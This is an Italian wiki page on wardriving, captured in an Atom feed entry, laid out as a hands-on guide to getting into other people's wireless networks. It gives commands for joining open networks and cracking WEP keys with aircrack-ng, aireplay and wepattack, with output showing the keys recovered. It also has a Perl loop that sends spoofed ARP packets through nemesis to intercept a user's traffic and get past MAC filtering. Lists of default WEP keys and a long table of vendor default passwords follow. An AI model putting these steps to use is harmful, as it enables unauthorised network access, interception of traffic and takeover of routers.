iface names are renamed to enx???? .... very bad&lt;br /&gt;
&lt;br /&gt;
* in /boot/cmdline.txt&lt;br /&gt;
 net.ifnames=0 biosdevname=0&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Wardriving&amp;diff=6419</id>
		<title>Wardriving</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Wardriving&amp;diff=6419"/>
		<updated>2023-05-11T06:43:22Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Default Passwords by Manufacturer */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Chi è un Wardriver? ==&lt;br /&gt;
* Wardriver è quell'uomo che se ne va ingiro, portatile alla mano a cercare connessioni wireless e ne traccia una mappa. Non importa l'uso che ne fa, se ci navigherà sarà un wardriver ''buono'' se attaccherà, decripterà o ingannerà la rete trovata, sarà + un hacker che un wardriver.&lt;br /&gt;
&lt;br /&gt;
* Io consiglio di utilizzare un pc con linux e una scheda 802.11x con chip Atheros (madwifi). Solitamente D-Link Xtreme.&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
Image:antenna_wifi_1.jpg|Antenna Yaghi Strana&lt;br /&gt;
Image:pc_wifi_pci_1.jpg|Coputer con scheda WifiPCI&lt;br /&gt;
Image:pc_wifi_pcmcia_1.jpg|Portatile con scheda D-Link PCMCIA (ridotta maluccio)&lt;br /&gt;
Image:wifi_ap_dlink_1.jpg|Access Point D-Link&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Scroccare internet ==&lt;br /&gt;
* una volta configurata la scheda, come ath0 (o eth1 eth7, wlan0 ecc. dipende dalla scheda e dalla distrib.)&lt;br /&gt;
siamo pronti per dare un'occhiata e wardriverare.&lt;br /&gt;
&lt;br /&gt;
* diciamo alla scheda di agganciarsi a qualsiasi rete, qualsiasi canale.&lt;br /&gt;
 iwconfig ath0 essid any channel 0&lt;br /&gt;
* scanniamo l'aria...&lt;br /&gt;
 iwlist ath0 scanning&lt;br /&gt;
appariranno tutte le reti disponibili, ora bisogna scegliere la rete&lt;br /&gt;
* Prendiamo come esempio la rete '''wireless'''&lt;br /&gt;
 iwconfig ath0 essid wireless&lt;br /&gt;
* se siamo connessi alla rete, vedremo il BSSID dell'acces point.&lt;br /&gt;
 iwconfig ath0&lt;br /&gt;
 ifconfig ath0 up&lt;br /&gt;
* la rete adesso è ''su'' , ma manca il livello IP, le opzioni sono 2&lt;br /&gt;
** chiedere un ip all'accespoint &lt;br /&gt;
 dhclient ath0&lt;br /&gt;
* oppure scegliere delle reti a caso, partenda dalla + probabile:&lt;br /&gt;
 ifconfig ath0 192.168.1.166&lt;br /&gt;
* oppure&lt;br /&gt;
 ifconfig ath0 192.168.0.166&lt;br /&gt;
* oppure&lt;br /&gt;
 ifconfig ath0 192.168.100.166&lt;br /&gt;
* oppure&lt;br /&gt;
 ifconfig ath0 172.16.0.166&lt;br /&gt;
* oppure&lt;br /&gt;
 ifconfig ath0 10.1.1.166&lt;br /&gt;
* una volta trovata la rete proviamo a fare u nping al router/access point&lt;br /&gt;
 ping 192.168.1.1&lt;br /&gt;
** se ci ponga al ping, siamo connessi ed è probabile che riusciremo anche a navigare&lt;br /&gt;
** se non pinga, i motivi possono essere un numero molto alto&lt;br /&gt;
# Il router ha un firewall che blocca il ping&lt;br /&gt;
# il router ha impostata la sicurezza a livello MAC, una lista di schede di rete accettabili, e il blocco di tutte le schede non ''conosciute'' --&amp;gt; vedi + in basso:&lt;br /&gt;
# il router ha una WEP/WPA, password di protezione. &lt;br /&gt;
# mentre facevamo il comando di ping, il router si è misteriosamente spento, oppure si è persa la connessione per qualche fattore ambientale, hanno chiuso una finestra (di quelle vere) o qualcuno si è messo tra noi e l'antenna.&lt;br /&gt;
# non abbiamo azzeccato l'ip del router (di solito è il .1 di una rete, di solito..)&lt;br /&gt;
# la scheda non funziona&lt;br /&gt;
# la spina è attaccata?&lt;br /&gt;
# ecc..&lt;br /&gt;
----&lt;br /&gt;
=== Trovare reti all'infinito ===&lt;br /&gt;
* se hai un'antenna con cavo e vuoi provare a muoverla per migliorare la ricezione, il comando watch fa comodo.&lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 iwconfig ath0 essid any&lt;br /&gt;
 watch 'iwlist ath0 scanning |grep -2 Channel'&lt;br /&gt;
&lt;br /&gt;
== Niente Paura della WEP ==&lt;br /&gt;
&lt;br /&gt;
=== Aircrack ===&lt;br /&gt;
&lt;br /&gt;
 WLAN_39-1.cap è il file dove ho catturato i pacchetti&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -a1 -eWLAN_39 -b00:60:B3:FD:70:57 -m00:0E:35:07:38:B7 -s WLAN_39-1.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
aircrack-ng -a 1 -m 00:16:0A:06:8B:B3 -b 00:16:0A:06:2A:9C -e &amp;quot;Sweex LW050&amp;quot; -s  dump-w-1-ch-6-02.cap&lt;br /&gt;
                                                        Aircrack-ng 1.0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                        [00:00:17] Tested 13626 keys (got 904240 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  1   6E(1259008) F8(943360) 0A(937216) 99(935936) 89(935680) A0(934400) 38(932608) 78(932608) 73(930816)&lt;br /&gt;
    1    0/  1   69(1231616) 61(944640) 06(941824) C4(941312) 42(940544) 95(935936) 21(935424) E3(933632) 32(932352)&lt;br /&gt;
    2    0/  1   63(1238016) E6(945920) E7(944640) 4E(936192) D9(932608) 27(932352) 3E(932096) 93(931072) EE(931072)&lt;br /&gt;
    3    0/  1   6F(1248256) 63(938496) 6A(936704) 4D(936448) 92(934400) 60(932352) 25(931584) 6B(929792) E8(927488)&lt;br /&gt;
    4    0/  1   31(1227264) B4(947200) DF(943616) 7C(938752) 7B(934656) 30(931328) D9(929792) E5(929536) 0B(928256)&lt;br /&gt;
    5    0/  1   33(1232896) 7C(950528) 50(946688) 36(941824) E2(941568) 3F(938240) 89(937472) C1(933632) 68(933376)&lt;br /&gt;
    6    0/  1   35(1192192) 72(946944) FD(944128) CA(939776) 6B(938240) 81(935936) 97(933632) 4B(933376) 6D(932608)&lt;br /&gt;
    7    0/  1   38(1197824) EA(941312) C7(938240) 2A(935424) B4(934400) 85(932864) 79(930048) 4F(929536) F1(928512)&lt;br /&gt;
    8    0/  1   32(1180672) 43(946432) DF(940544) 2B(935680) 4D(934912) 1C(934144) 7A(933888) FB(933376) 98(931840)&lt;br /&gt;
    9    0/  1   33(1200128) A0(950016) 39(939520) C9(939264) B4(937984) 59(934912) 66(933376) 0A(932608) EE(932608)&lt;br /&gt;
   10    0/  1   7A(961024) 35(941824) 8F(941312) 06(938752) A7(935424) 23(934656) 08(933632) C3(933632) 24(933376)&lt;br /&gt;
   11    3/  1   AF(938496) 82(935936) 9C(934912) B1(934400) 11(932864) 1D(932608) 1B(931840) FC(931840) 40(930304)&lt;br /&gt;
   12    0/  1   34(1059824) 15(947576) 63(937100) EF(931872) 7D(930464) CE(929532) EC(928572) 9E(927728) D8(927612)&lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 6E:69:63:6F:31:33:35:38:32:33:35:38:34 ] (ASCII: nico135823584 )&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== WPA ==&lt;br /&gt;
&lt;br /&gt;
http://docs.alkaloid.net/index.php/Cracking_WEP_and_WPA_Wireless_Networks#WPA_Crackin&lt;br /&gt;
&lt;br /&gt;
=== Generare traffico ===&lt;br /&gt;
&lt;br /&gt;
* con aireplay si fa così:&lt;br /&gt;
 aireplay ath0 -3 -b 00:11:95:9D:74:1C -h 00:90:96:65:E5:47 -a 00:11:95:9D:74:1C -e ADSL-WIRELESS&lt;br /&gt;
&lt;br /&gt;
* Nel frattempo catturiamo con airodump:&lt;br /&gt;
 airodump ath0 WLAN_11-1 6&lt;br /&gt;
L'output + o meno sarà:&lt;br /&gt;
  BSSID              PWR  Beacons      IP / # Data  CH  MB  ENC  ESSID&lt;br /&gt;
  00:11:95:9D:74:1C   10     8595           101469   6  54  WEP  ADSL-WIRELESS&lt;br /&gt;
  BSSID              STATION            PWR   Packets  ESSID&lt;br /&gt;
  00:11:95:9D:74:1C  00:90:96:65:E5:47   -2     56435  ADSL-WIRELESS&lt;br /&gt;
&lt;br /&gt;
=== AccessPoints WLAN_XX ===&lt;br /&gt;
&lt;br /&gt;
* Ho ricevuto un router dalla mia compagnia telefonica con una wep impostata, ma ho perso il foglietto con la chiave... la troverò usando un programma chiamato wlandecrypter usato assieme a wepattack. Servirà anche airodump.&lt;br /&gt;
&lt;br /&gt;
* vediamo che canale, che essid e che bssid (AP MAC) ha:&lt;br /&gt;
 iwlist ath0 scan&lt;br /&gt;
&lt;br /&gt;
* Catturo i pacchetti: (airodump &amp;quot;interfaccia_wifi&amp;quot; &amp;quot;output_file&amp;quot; &amp;quot;channel&amp;quot;)&lt;br /&gt;
 airodump ath0 WLAN_12 6&lt;br /&gt;
&lt;br /&gt;
* aspetto fino a che non cominciano ad entrare pacchetti di dati (&amp;quot;Data&amp;quot;), poi quando cominciano a essere almeno una decina o un centinaio, premo Control-C per interrompere.&lt;br /&gt;
&lt;br /&gt;
* adesso passo il file .cap che ha generato airodump e lo passo a wepcrack(airodump genera 2 file, un .cap con i pacchetti e un .txt con le informazioni sugli host e gli AP) wlandecrypter bssid essid | wepattack -f output_name.cap&lt;br /&gt;
 wlandecrypter 00:60:B3:XX:70:XX WLAN_12 | wepattack -f WLAN_12.cap &lt;br /&gt;
&lt;br /&gt;
*L'output sarà + o meno questo:&lt;br /&gt;
 wlandecrypter 0.4 - (c) 2006 nilp0inter2k6_at_gmail.com&lt;br /&gt;
 ------------&amp;gt;  http://www.rusoblanco.com  &amp;lt;------------&lt;br /&gt;
&lt;br /&gt;
  [+] BSSID: 00:60:B3:77:77:77&lt;br /&gt;
  [+] Modelo: Z-com&lt;br /&gt;
  [+] ESSID: WLAN_39&lt;br /&gt;
  [+] Seleccionada salida estandar&lt;br /&gt;
 &lt;br /&gt;
 Extraction of necessary data was successfull!&lt;br /&gt;
 &lt;br /&gt;
 Founded BSSID:&lt;br /&gt;
 1)  00 60 B3 FD 70 77 / Key 0&lt;br /&gt;
 1 network loaded...&lt;br /&gt;
 &lt;br /&gt;
 Accepting wordlist data...&lt;br /&gt;
 &lt;br /&gt;
 key no. 10000: Z001349270F39&lt;br /&gt;
 key no. 20000: Z0013494E1F39&lt;br /&gt;
 key no. 30000: Z001349752F39&lt;br /&gt;
 &lt;br /&gt;
 ++++++++++ Packet decrypted! ++++++++++  &lt;br /&gt;
 BSSID: 00 60 B3 44 44 44 / Key 0        WepKey: 5A 30 30 31 33 34 39 37 42 30 32 33 39 (Z0013497B0239) &lt;br /&gt;
 Encryption: 128 Bit &lt;br /&gt;
 &lt;br /&gt;
 time: 11.580097 sec     words: 31492&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access Points SpeedTouccXXXXX / ThomsonXXXX ===&lt;br /&gt;
&lt;br /&gt;
The default password is generated by an algorithm so, with a simple &amp;quot;while&amp;quot; you can get the password from the mac address and the ESSID , there is a software to do that or a website.&lt;br /&gt;
&lt;br /&gt;
 http://www.nickkusters.com/SpeedTouch.aspx&lt;br /&gt;
&lt;br /&gt;
== Filtraggio di MAC ==&lt;br /&gt;
* Questo sistema di protezione ha senso ma non troppo perché l'indirizzo univoco della scheda wifi può essere falsificato, per esempio si potrebbe copiare quello che usa l'utente della rete e farsi scambiare per ''amico'' dall'accespoint. Ecco come si fa:&lt;br /&gt;
** è necessario avere perl&lt;br /&gt;
** è necessario il programma '''nemesis'''&lt;br /&gt;
** anche uno sniffer serve, come tcpdump o meglio (+ visuale) ethereal e ethereal-gnome come interfaccia.&lt;br /&gt;
** sarà molto utile la tabella a pié di pagina, sulle password di fabbrica dei router e/o access points.&lt;br /&gt;
** immaginazione.&lt;br /&gt;
=== Trovare un indirizzo mac autorizzato: ===&lt;br /&gt;
# connettiamoci alla rete, anche se non riceviamo e non possiamo inviare pacchetti, basta che la scheda sia associata all'acces point (si vede il BSSID da '''iwconfig''' che è tipo un xx:xx:xx:xx:xx:xx....)&lt;br /&gt;
# apriamo il nostro sniffer, e cominciamo ad annotarci tutti gli indirizzi MAC che vediamo. Escludiamo quello della nostra scheda,&lt;br /&gt;
 tcpdump -i ath0 -n -e -q ether host '''00:01:38:4D:83:E9'''&lt;br /&gt;
* questo comando comincerà a stampare linee tate quanti pacchetti passano per l'interfaccia ''ath0'' e che abbiano il mac address del mittente o ricevente = a &amp;quot;00:01:38:4d:83:e9&amp;quot;&lt;br /&gt;
 14:49:26.143433 00:01:38:4d:83:e9 &amp;gt; 00:13:8f:a3:0c:07, IPv4, length 60: 212.35.207.11.80 &amp;gt; 192.168.1.82.36491: tcp 0&lt;br /&gt;
 14:49:26.296083 00:01:38:4d:83:e9 &amp;gt; 00:13:8f:a3:0c:07, IPv4, length 379: 207.46.109.59.1863 &amp;gt; 192.168.1.82.45046: tcp 313&lt;br /&gt;
 14:49:26.296126 00:13:8f:a3:0c:07 &amp;gt; 00:01:38:4d:83:e9, IPv4, length 66: 192.168.1.82.45046 &amp;gt; 207.46.109.59.1863: tcp 0&lt;br /&gt;
* vediamo che 00:01:38:4d:83:e9 comunica con 00:13:8f:a3:0c:07, quindi se questo non è il MAC della nostra scheda, possiamo prendelo come documento falso da usare con il router, con nemesis:&lt;br /&gt;
** MAC mia scheda                 00:01:29:25:27:0e&lt;br /&gt;
** MAC router                     00:01:38:4d:83:e9 -&amp;gt; IP 192.168.1.1&lt;br /&gt;
** MAC utente autorizzato router: 00:13:8f:a3:0c:07 -&amp;gt; IP 192.168.1.200&lt;br /&gt;
&lt;br /&gt;
* ora bisogna creare un triango, ossia far credere al router che l'utente siamo noi e contemporaneamente all'utente che il router siamo noi. Questo è possibile generando un pacchetto che dica: ''''sono il router e ho questo MAC(il nostro)'''' all'utente e ''''sono l'utente e ho questo MAC(il nostro)'''' al router.&lt;br /&gt;
* parliamo con il router:&lt;br /&gt;
 perl -e 'while(1){print &amp;quot;Deviando..\n&amp;quot;; system(&amp;quot; \&lt;br /&gt;
 nemesis arp -v -r -d ath0 \&lt;br /&gt;
 -S 192.168.1.200 -D 192.168.1.1 \&lt;br /&gt;
 -h 00:01:29:25:27:0e -m 00:0B:6A:76:97:AF \&lt;br /&gt;
 -H 00:00:61:74:68:30 -M 00:0B:6A:76:97:AF \&lt;br /&gt;
 &amp;quot;); sleep 10; }'&lt;br /&gt;
* parliamo con l'utente:&lt;br /&gt;
 perl -e 'while(1){print &amp;quot;Deviando..\n&amp;quot;; system(&amp;quot; \&lt;br /&gt;
 nemesis arp -v -r -d ath0 \&lt;br /&gt;
 -S 192.168.1.1 -D 192.168.1.200 \&lt;br /&gt;
 -h 00:01:29:25:27:0e -m 00:13:8f:a3:0c:07 \&lt;br /&gt;
 -H 00:01:29:25:27:0e -M 00:01:38:4d:83:e9 \&lt;br /&gt;
 &amp;quot;); sleep 10; }'&lt;br /&gt;
&lt;br /&gt;
* Questi  comandi loopperanno all'infinito, vanno eseguiti in 2 terminali diversi oppure appiccicarli in una chiamata unica di perl, e il risultato sarà che tutto il traffico tra router e utente passerà per la nostra scheda. Così facendo possiamo preovare ad entrare nel router e aggiungere il nostro mac alla lista di &amp;quot;amici&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
== Defaults WEP Keys ==&lt;br /&gt;
&lt;br /&gt;
* CIFRADO 64BITS:&lt;br /&gt;
 &lt;br /&gt;
 FFFFFFFFFF&lt;br /&gt;
 0000000000&lt;br /&gt;
 0101010101&lt;br /&gt;
 0202020202&lt;br /&gt;
 0303030303&lt;br /&gt;
 0404040404&lt;br /&gt;
 &lt;br /&gt;
* Netgear&lt;br /&gt;
 &lt;br /&gt;
 Default WEP KEY1: 11 11 11 11 11&lt;br /&gt;
 Default WEP KEY2: 20 21 22 23 24&lt;br /&gt;
 Default WEP KEY3: 30 31 32 33 34&lt;br /&gt;
 Default WEP KEY4: 40 41 42 43 44&lt;br /&gt;
 &lt;br /&gt;
* CIFRADO 128BITS:&lt;br /&gt;
&lt;br /&gt;
 FFFFFFFFFFFFFFFFFFFFFFFFFF&lt;br /&gt;
 00000000000000000000000000&lt;br /&gt;
 01010101010101010101010101&lt;br /&gt;
 &lt;br /&gt;
* Zyxel&lt;br /&gt;
 &lt;br /&gt;
 64-bit WEP with 5 characters&lt;br /&gt;
 Key1= 2e3f4&lt;br /&gt;
 Key2= 5y7js&lt;br /&gt;
 Key3= 24fg7&lt;br /&gt;
 Key4= 98jui&lt;br /&gt;
 &lt;br /&gt;
* 64-bit WEP with 10 hexadecimal digits&lt;br /&gt;
 ('0-9', 'A-F')&lt;br /&gt;
 Key1= 0x123456789A&lt;br /&gt;
 Key2= 0x23456789AB&lt;br /&gt;
 Key3= 0x3456789ABC&lt;br /&gt;
 Key4= 0x456789ABCD&lt;br /&gt;
 &lt;br /&gt;
* 128-bit WEP with 13 characters&lt;br /&gt;
 Key1= 2e3f4w345ytre&lt;br /&gt;
 Key2= 5y7jse8r4i038&lt;br /&gt;
 Key3= 24fg70okx3fr7&lt;br /&gt;
 Key4= 98jui2wss35u4&lt;br /&gt;
 &lt;br /&gt;
* 128-bit WEP with 26 hexadecimal digits&lt;br /&gt;
 ('0-9', 'A-F')&lt;br /&gt;
 Key1= 0x112233445566778899AABBCDEF&lt;br /&gt;
 Key2= 0x2233445566778899AABBCCDDEE&lt;br /&gt;
 Key3= 0x3344556677889900AABBCCDDFF&lt;br /&gt;
 Key4= 0x44556677889900AABBCCDDEEFF &lt;br /&gt;
&lt;br /&gt;
== Power, dBm and mW ==&lt;br /&gt;
&lt;br /&gt;
thanks to [https://www.digitalairwireless.com/articles/blog/wifi-transmit-power-calculations-made-simples]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rule 1: The Rule of 3&lt;br /&gt;
If you raise the dBm value by “3″ you double the mW value:&lt;br /&gt;
&lt;br /&gt;
0dBm = 1mW&lt;br /&gt;
3dBm = 2mW&lt;br /&gt;
6dBm = 4mW&lt;br /&gt;
9dBm = 8mW&lt;br /&gt;
12dBm = 16mW&lt;br /&gt;
15dBm = 32mW&lt;br /&gt;
18dBm = 64mW&lt;br /&gt;
21dBm = 128mW&lt;br /&gt;
24dBm = 256mW&lt;br /&gt;
27dBm = 512mW&lt;br /&gt;
30dBm = 1024mW (5GHz Band B legal limit)&lt;br /&gt;
33dBm = 2048mW&lt;br /&gt;
36dBm = 4096mW (5GHz Band C legal limit)&lt;br /&gt;
&lt;br /&gt;
This also mean that if you lower the dBm value by “3″ you halve the mW value&lt;br /&gt;
&lt;br /&gt;
Rule 2: The Rule of 10&lt;br /&gt;
If you raise the dBm value by “10″ you multiply the mW value by 10:&lt;br /&gt;
&lt;br /&gt;
0dBm = 1mW&lt;br /&gt;
10dBm = 10mW&lt;br /&gt;
20dBm = 100mW&lt;br /&gt;
30dBm = 1000mW (5GHz Band B legal limit)&lt;br /&gt;
40dBm = 10000mW (Over the 5GHz Band C legal limit)&lt;br /&gt;
&lt;br /&gt;
Yup you guessed it, if you lower the dBm value by 10 you divide the mW value by 10.&lt;br /&gt;
&lt;br /&gt;
The above calculations aren’t exact, but they are typically accurate enough to get by on.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Default Passwords by Manufacturer ==&lt;br /&gt;
MFabbricante  	Modello	OS Versione  	Login  	Password&lt;br /&gt;
 3Com 	- 	1.25 	root 	letmein&lt;br /&gt;
 3Com 	Super Stack 2 Switch 	Any 	manager 	manager&lt;br /&gt;
 3Com 	AccessBuilder® 7000 BRI 	Any 	- 	-&lt;br /&gt;
 3Com 	CoreBuilder 2500 	- 	- 	-&lt;br /&gt;
 3Com 	Switch 3000/3300 	- 	manager 	manager&lt;br /&gt;
 3Com 	Switch 3000/3300 	- 	admin 	admin&lt;br /&gt;
 3Com 	Switch 3000/3300 	- 	security 	security&lt;br /&gt;
 3com 	Cable Managment System SQL Database (DOSCIC DHCP) 	Win2000 &amp;amp; MS 	DOCSIS_APP 	3com&lt;br /&gt;
 3Com 	NAC (Network Access Card) 	- 	adm 	none&lt;br /&gt;
 3Com 	HiPer ARC Card 	v4.1.x of HA 	adm 	none&lt;br /&gt;
 3Com 	CoreBuilder 6000 	- 	debug 	tech&lt;br /&gt;
 3Com 	CoreBuilder 7000 	- 	tech 	tech&lt;br /&gt;
 3Com 	SuperStack II Switch 2200 	- 	debug 	synnet&lt;br /&gt;
 3Com 	SuperStack II Switch 2700 	- 	tech 	tech&lt;br /&gt;
 3Com 	SuperStack / CoreBuilder 	- 	admin 	-&lt;br /&gt;
 3Com 	SuperStack / CoreBuilder 	- 	read 	-&lt;br /&gt;
 3Com 	SuperStack / CoreBuilder 	- 	write 	-&lt;br /&gt;
 3Com 	LinkSwitch and CellPlex 	- 	tech 	tech&lt;br /&gt;
 3Com 	LinkSwitch and CellPlex 	- 	debug 	synnet&lt;br /&gt;
 3com 	Superstack II 3300FX 	- 	admin 	-&lt;br /&gt;
 3com 	Switch 3000/3300 	- 	Admin 	3com&lt;br /&gt;
 3com 	3comCellPlex7000 	- 	tech 	tech&lt;br /&gt;
 3Com 	Switch 3000/3300 	- 	monitor 	monitor&lt;br /&gt;
 3Com 	AirConnect Access Point 	n/a 	- 	comcomcom&lt;br /&gt;
 3com 	Superstack II Dual Speed 500 	- 	security 	security&lt;br /&gt;
 3Com 	OfficeConnect 5x1 	at least 5.x 	- 	PASSWORD&lt;br /&gt;
 3Com 	SuperStack 3 Switch 3300XM 	- 	admin 	-&lt;br /&gt;
 3com 	Super Stack 2 Switch 	Any 	manager 	manager&lt;br /&gt;
 3Com 	SuperStack II Switch 1100 	- 	manager 	manager&lt;br /&gt;
 3Com 	SuperStack II Switch 1100 	- 	security 	security&lt;br /&gt;
 3com 	super stack 2 switch 	any 	manager 	manager&lt;br /&gt;
 3Com 	Office Connect Remote 812 	- 	root 	!root&lt;br /&gt;
 3Com 	Switch 3000/3300 	- 	admin 	admin&lt;br /&gt;
 3COM 	OCR-812 	- 	- 	-&lt;br /&gt;
 3com 	- 	- 	- 	-&lt;br /&gt;
 3com 	NBX100 	2.8 	administrator 	0000&lt;br /&gt;
 3com 	Home Connect 	- 	User 	Password&lt;br /&gt;
 3Com 	OfficeConnect 5x1 	at least 5.x 	estheralastruey 	-&lt;br /&gt;
 3Com 	SuperStack II Switch 3300 	- 	manager 	manager&lt;br /&gt;
 3Com 	Superstack 	- 	- 	-&lt;br /&gt;
 ACC 	Routers 	- 	netman 	netman&lt;br /&gt;
 Acc/Newbridge 	Congo/Amazon/Tigris 	All versions 	netman 	netman&lt;br /&gt;
 Acc/Newbridge 	Congo/Amazon/Tigris 	All versions 	netman 	netman&lt;br /&gt;
 adaptec 	- 	- 	- 	-&lt;br /&gt;
 Adaptec RAID 	Storage Manager Pro 	All 	Administrator 	adaptec&lt;br /&gt;
 adtran 	tsu 600 ethernet module 	- 	18364 	-&lt;br /&gt;
 Adtran 	TSU 120 e 	- 	- 	ADTRAN&lt;br /&gt;
 Adtran 	TSU 120 e 	- 	- 	ADTRAN&lt;br /&gt;
 Aironet 	All 	- 		&lt;br /&gt;
 alcatel 	- 	- 	- 	-&lt;br /&gt;
 Alcatel 	1000 ANT 	Win98 	- 	-&lt;br /&gt;
 alcatel 	speed touch home 	- 	- 	-&lt;br /&gt;
 Alcatel/Newbridge/Timestep 	VPN Gateway 15xx/45xx/7xxx 	Any 	root 	permit&lt;br /&gt;
 Alcatel/Newbridge/Timestep 	VPN Gateway 15xx/ 	Any 	root 	permit&lt;br /&gt;
 Alcatel/Newbridge/Timestep 	VPN Gateway 15xx/ 	Any 	root 	permit&lt;br /&gt;
 Allied Tenysin 	R130 	- 	Manager 	friend&lt;br /&gt;
 Alteon 	ACEswitch 180e (telnet) 	- 	admin 	blank&lt;br /&gt;
 Alteon Web Systems 	All hardware releases 	Web OS 5.2 	none 	admin&lt;br /&gt;
 APC 	MasterSwitches 	- 	apc 	apc&lt;br /&gt;
 APC 	Any 	Firmware Pri 	apcuser 	apc&lt;br /&gt;
 Apple 	Network Assistant 	3.X 	None 	xyzzy&lt;br /&gt;
 Apple 	Airport 	1.1 	none 	public&lt;br /&gt;
 Arrowpoint 	any? 	- 	admin 	system&lt;br /&gt;
 Ascend 	All TAOS models 	all 	admin 	Ascend&lt;br /&gt;
 Ascend 	Pipeline Terminal Server 	- 	answer 	-&lt;br /&gt;
 Ascom 	Timeplex Routers 	Any 	See notes 	-&lt;br /&gt;
 AT&amp;amp;T 	Starlan SmartHUB 	9.9 	N/A 	manager&lt;br /&gt;
 AWARD 	Any BIOS 	- 	AWARD_SW 	-&lt;br /&gt;
 Axent 	NetProwler manager 	WinNT 	administrator 	admin&lt;br /&gt;
 Axis 	NPS 530 	5.02 	root 	pass&lt;br /&gt;
 AXIS 	StorPoint CD100 	4.28 	root 	pass&lt;br /&gt;
 AXIS 	200 V1.32 	- 	admin 	-&lt;br /&gt;
 Axis 	2100 Network Camera 	Linux (ETRAX 	root 	pass&lt;br /&gt;
 bay 	cv1001003 	- 	- 	-&lt;br /&gt;
 bay 	- 	- 	- 	-&lt;br /&gt;
 Bay 	- 	- 	- 	-&lt;br /&gt;
 Bay / Nortel 	ARN 	13.20 	Manager (caps count !) 	-&lt;br /&gt;
 Bay Network Routers 	All 	- 	User 	-&lt;br /&gt;
 Bay Networks 	ASN / ARN Routers 	Any 	Manager 	Manager&lt;br /&gt;
 Bay Networks 	Baystack 	- 	- 	NetICs&lt;br /&gt;
 Bay/Nortel Networks 	Accelar 1xxx switches 	Any 	rwa 	rwa&lt;br /&gt;
 Bay/Nortel Networks 	Remote Annex 2000 	Any 	admin 	IP address&lt;br /&gt;
 BEA 	Weblogic 	5.1 	system 	weblogic&lt;br /&gt;
 BEA 	- 	- 	- 	-&lt;br /&gt;
 bewan 	- 	- 	- 	-&lt;br /&gt;
 Bintec 	all Routers 	Any 	admin 	bintec&lt;br /&gt;
 Bintec 	- 	- 	- 	-&lt;br /&gt;
 Biodata 	BIGfire &amp;amp; BIGfire+ 	all 	- 	biodata&lt;br /&gt;
 Biodata 	all Babylon-Boxes 	all 	- 	Babylon&lt;br /&gt;
 Borland 	interbase 	- 	- 	-&lt;br /&gt;
 Borland 	Interbase 	Any 	politcally 	correct&lt;br /&gt;
 Borland/Inprise 	Interbase 	any 	SYSDBA 	masterkey&lt;br /&gt;
 BreezeCom 	AP10, SA10 	BreezeNET PR 	- 	-&lt;br /&gt;
 BreezeCOM 	Station Adapter and Access Point 	4.x 	- 	Super&lt;br /&gt;
 BreezeCOM 	- 	3.x 	- 	Master&lt;br /&gt;
 BreezeCOM 	Station Adapter and Access Point 	2.x 	- 	laflaf&lt;br /&gt;
 Brocade 	Silkworm 	- 	admin 	password&lt;br /&gt;
 Buffalo/MELCO 	AirStation WLA-L11 	- 	root (cannot be changed) 	(no password by default)&lt;br /&gt;
 Cabletron 	any 	any 	-- 	--&lt;br /&gt;
 Cabletron 	NB Series 	Any 	- 	inuvik49&lt;br /&gt;
 Cabletron routers and switches 	* 	* 	blank 	blank&lt;br /&gt;
 Cayman 	3220-H DSL Router 	GatorSurf 5. 	Any 	-&lt;br /&gt;
 celerity 	- 	- 	- 	-&lt;br /&gt;
 Chase Research 	Iolan+ 	- 	- 	iolan&lt;br /&gt;
 Cisco 	Any Router and Switch 	10 thru 12 	cisco 	cisco&lt;br /&gt;
 Cisco 	ConfigMaker Software 	any? 	n/a 	cmaker&lt;br /&gt;
 CISCO 	Network Registrar 	3.0 	ADMIN 	changeme&lt;br /&gt;
 CISCO 	N/A 	N/A 	pixadmin 	pixadmin&lt;br /&gt;
 Cisco 	routers 	Not sure...j 	- 	san-fran&lt;br /&gt;
 Cisco 	VPN 3000 Concentrator 	- 	admin 	admin&lt;br /&gt;
 Cisco 	Net Ranger 2.2.1 	Sol 5.6 	root 	attack&lt;br /&gt;
 cisco 	1600 	12.05 	- 	-&lt;br /&gt;
 cisco 	1601 	- 	- 	-&lt;br /&gt;
 cisco 	- 	- 	- 	-&lt;br /&gt;
 cisco 	- 	- 	- 	-&lt;br /&gt;
 Cisco 	MGX 	* 	superuser 	superuser&lt;br /&gt;
 cisco 	1601 	- 	- 	-&lt;br /&gt;
 cisco 	- 	- 	- 	-&lt;br /&gt;
 Cisco 	- 	- 	- 	-&lt;br /&gt;
 cisco 	- 	- 	- 	-&lt;br /&gt;
 Cisco 	any 	aany IOS 	no default login 	no default password&lt;br /&gt;
 CISCO 	arrowpoint 	- 	- 	-&lt;br /&gt;
 cisco 	- 	- 	- 	-&lt;br /&gt;
 cisco 	- 	- 	- 	-&lt;br /&gt;
 cisco 	- 	- 	- 	-&lt;br /&gt;
 Cisco 	2503 	- 	- 	-&lt;br /&gt;
 Cisco 	- 	- 	- 	-&lt;br /&gt;
 cisco 	- 	- 	- 	-&lt;br /&gt;
 Cisco 	IDS (netranger) 	- 	root 	attack&lt;br /&gt;
 cisco 	- 	- 	- 	-&lt;br /&gt;
 cisco 	1600 	- 	- 	-&lt;br /&gt;
 CMOS BIOS 	- 	- 	- 	ESSEX or IPC&lt;br /&gt;
 Cobalt 	RaQ * Qube* 	Any 	admin 	admin&lt;br /&gt;
 Com21 	- 	- 	- 	-&lt;br /&gt;
